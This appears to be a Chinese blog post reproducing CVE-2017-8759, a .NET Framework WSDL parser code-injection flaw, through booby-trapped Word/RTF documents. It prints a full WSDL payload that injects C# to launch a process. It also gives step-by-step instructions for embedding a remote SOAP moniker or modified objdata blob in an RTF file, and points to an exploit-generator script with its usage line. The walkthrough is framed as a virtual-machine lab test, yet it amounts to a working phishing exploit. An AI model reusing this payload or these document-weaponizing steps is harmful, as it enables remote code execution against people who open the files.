zoukankan      html  css  js  c++  java
  • .NET框架0Day漏洞CVE-2017-8759复现过程

    漏洞概述

    FireEye最近检测到一个恶意的Microsoft Office RTF文档,利用CVE-2017-8759(一种SOAP WSDL解析器代码注入漏洞)。此漏洞允许在解析SOAP WSDL定义内容期间注入任意代码。

    基本信息

    漏洞名称:.NET Framework远程代码执行漏洞
    漏洞编号:CVE-2017-8759
    漏洞影响:.NET系列产品的远程代码执行(RCE)并进一步控制系统
    利用场景:远程钓鱼、社会工程
    影响版本:以下.NET版本
           Microsoft .NET Framework 4.6.2
           Microsoft .NET Framework 4.6.1
           Microsoft .NET Framework 3.5.1
           Microsoft .NET Framework 4.7
           Microsoft .NET Framework 4.6
           Microsoft .NET Framework 4.5.2
           Microsoft .NET Framework 3.5
           Microsoft .NET Framework 2.0 SP2
    影响产品:Office(word excel)Edge IE WinOS Skype Lync Sharepoint

    漏洞利用点

    PrintClientProxy方法中的WSDL解析器模块中存在代码注入漏洞。如果提供的包含CRLF序列的数据,则IsValidUrl不会执行正确的验证。这就造成了攻击者注入和执行任意代码。

    这里不详细介绍了(因为我也不懂),可以参考火眼和360的分析。

    本地测试

    利用过程

    方法一

    新建一个图片文件,名字为office.png(其他格式也行),内容为:

    <definitions 
    xmlns="http://schemas.xmlsoap.org/wsdl/"
    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
    xmlns:suds="http://www.w3.org/2000/wsdl/suds"
    xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
    xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
    <portType name="PortType"/>
    <binding name="Binding" type="tns:PortType">
    <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
    <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
    </binding>
    <service name="Service">
    <port name="Port" binding="tns:Binding">
    <soap:address location="http://localhost?C:WindowsSystem32calc.exe?011"/>
    <soap:address location=";
    if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
    System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
    System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
    } //"/>
    </port>
    </service>
    </definitions>

    然后放在web目录。
    根据样本文件,发现是在word文档中添加一个SOAP标记。
    格式为soap:wsdl=http://192.168.135.135/office/office.png
    本次以样本为例,然后修改其中的地址。
    样本文件

    分别用样本和自己的web地址生成特hex格式的地址,然后将样本中的地址更换为自己的地址即可。(注意替换的长度需保持一致)

    生成hex格式的地址

    样本文件最重要的是倒数第三行(看起来是空白),然后可以将上面无用的内容全部删除,只留下最后三行。

    替换地址后的内容

    然后就是打开该word文档,就可以看到计算器弹出。但实现的过程有点问题,就是必须点更新链接才会触发(即使将添加objupdate还是不行)。

    执行效果

    方法二

    参考https://github.com/vysec/CVE-2017-8759
    新建o.png,内容为:

    o.png内容

    word.db内容:
    word.db内容

    新建一个rtf文档,随意插入一个对象。例如http://192.168.135.135/office/o.png (这是为了下面替换objdata内容)
    用记事本打开,将objectobjautlink sltpict修改为objectobjautlinkobjupdate sltpict
    打开blob.bin文件

    blob.bin源文件
    将其中的地址修改为http://192.168.135.135/office/o.png
    复制原来的地址,尽量多复制点空格。
    替换过程1

    然后生成新的hex地址
    生成新的地址

    然后用生成的地址替换blob.bin中的地址
    替换后的blob.bin文件
    然后将blob.bin中的内容替换word文档的objdata内容。
    然后打开word文档,就会有神奇的事情发生。
    执行效果2

    恶意软件将被放置在C:UsersAdministratorAppDataRoamingMicrosoftWindowsOfficeUpdte-KB[6个随机数字].exe

    以上均在虚拟机上测试。没有使用样本中的left.jpg。最后结果确实如火眼所说的那样生成了OfficeUpdte-KB******.exe文件。在win10(真机)上测试的时候还生成了http1001924168413541350office0office4png.pdb、http1001924168413541350office0office4png.dll和Logo.cs三个文件。
    这里方法一没有直接执行的原因我也不太清楚,但是用方法二插入office.png,也是不会直接执行的。如果方法一和二中过程替换一下,效果也是一样的。

    方法三

    下载脚本https://github.com/fupinglee/MyPython/blob/master/exploit/CVE-2017-8759/CVE-2017-8759_exploit_rtf.py

    使用方法:python CVE-2017-8759_exploit_rtf.py http://192.168.135.135/office/office.png
    会在当前目录生成文件cve-2017-8759.rtf,打开即可。

    根据CVE-2017-0199的脚本改写而来,仅仅保留并修改了生成文件的代码。

    参考链接

    [1].https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
    [2].http://mp.weixin.qq.com/s/_rfRtj6da1nowI4qMmkLaA
    [3].https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/

  • 相关阅读:
    python远程连接服务器并查看服务器上的文件
    python中xe6x80xa5xe8xafx8a如何转为中文
    idea+testng+maven环境搭建
    Django restfulframework系列
    django-基于函数的视图与基于类的视图
    yaml结合数据驱动编写测试用例
    pycharm社区版找不到工具栏找不到Database的解决办法
    Content-Type 对照表
    ffmpeg C# 切第一秒的有图片
    Angular HttpClient POST 服务器(springboot)获取不到参数问题
  • 原文地址:https://www.cnblogs.com/anbuxuan/p/11778205.html
Copyright © 2011-2022 走看看